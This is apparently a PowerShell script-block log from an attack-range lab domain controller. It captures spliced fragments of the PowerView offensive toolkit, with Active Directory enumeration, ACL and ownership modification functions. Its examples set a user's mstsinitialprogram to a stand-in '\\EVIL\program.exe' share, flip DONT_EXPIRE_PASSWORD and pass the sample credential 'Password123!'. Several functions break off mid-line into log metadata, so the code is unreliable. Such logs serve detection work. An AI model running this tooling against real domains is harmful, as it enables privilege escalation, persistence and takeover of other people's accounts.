[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OUSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($OUSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$OUSearcher = Get-DomainSearcher @SearcherArguments
if (-not $OUSearcher) {
Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
else { $Results = $OUSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$OU = $_
}
else {
$OU = Convert-LDAPProperty -Properties $_.Properties
}
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
$OU
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
}
}
$OUSearcher.dispose()
}
}
}
function Get-DomainSite {
<#
.SYNOPSIS
Search for all sites or specific site objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all site objects for
the current domain are returned.
.PARAMETER Identity
An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER GPLink
Only return sites with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSite
Returns the current sites in the domain.
.EXAMPLE
Get-DomainSite *admin* -Domain testlab.local
Returns all sites with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all sites with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainSite -Credential $Cred
.OUTPUTS
PowerView.Site
Custom PSObject with translated site property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SiteSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($SiteSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishednad123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372860Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1541ameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principal = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principal) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
elseif($Principal.Count -gt 1) {
throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
}
$ObjectSid = $Principal.objectsid
}
else {
$ObjectSid = $PrincipalIdentity
}
$ADRight = 0
foreach($r in $Right) {
$ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
}
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
}
Process {
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
}
}
else {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType
}
}
}
}
function Set-DomainObjectOwner {
<#
.SYNOPSIS
Modifies the owner for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Retrieves the Active Directory object specified by -Identity by splatting to
Get-DomainObject, returning the raw searchresult object. Retrieves the raw
directoryentry for the object, and sets the object owner to -OwnerIdentity.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
of the AD object to set the owner for.
.PARAMETER OwnerIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
of the owner to set for -Identity.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
Set the owner of 'dfm' in the current domain to 'harmj0y'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Owner')]
[String]
$OwnerIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid
if ($OwnerSid) {
$OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
}
else {
Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
}
}
PROCESS {
if ($OwnerIdentityReference) {
$SearcherArguments['Raw'] = $True
$SearcherArguments['Identity'] = $Identity
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
try {
Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
$Entry = $RawObject.GetDirectoryEntry()
$Entry.PsBase.Options.SecurityMasks = 'Owner'
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
$Entry.PsBase.CommitChanges()
}
catch {
Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
}
}
}
}
}
function Get-DomainObjectAcl {
<#
.SYNOPSIS
Returns the ACLs associated with a specific active directory object. By default
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Sacl
Switch. Return the SACL instead of the DACL for the object (default behavior).
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER RightsFilter
A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
Get the ACLs for the matt.admin user in the testlab.local domain and
resolve relevant GUIDs to their display names.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
Enumerate the ACL permissions for all OUs in the domain.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$Sacl,
[Switch]
$ResolveGUIDs,
[String]
[Alias('Rights')]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
if ($PSBoundParameters['Sacl']) {
$SearcherArguments['SecurityMasks'] = 'Sacl'
}
else {
$SearcherArguments['SecurityMasks'] = 'Dacl'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
$DomainGUIDMapArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
# get a GUID -> name mapping
if ($PSBoundParameters['ResolveGUIDs']) {
$GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
}
}
PROCESS {
if ($Searcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$Searcher = Get-DomainSearcher @SearcherArguments
if (-not $Searcher) {
Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372859Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1441inObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
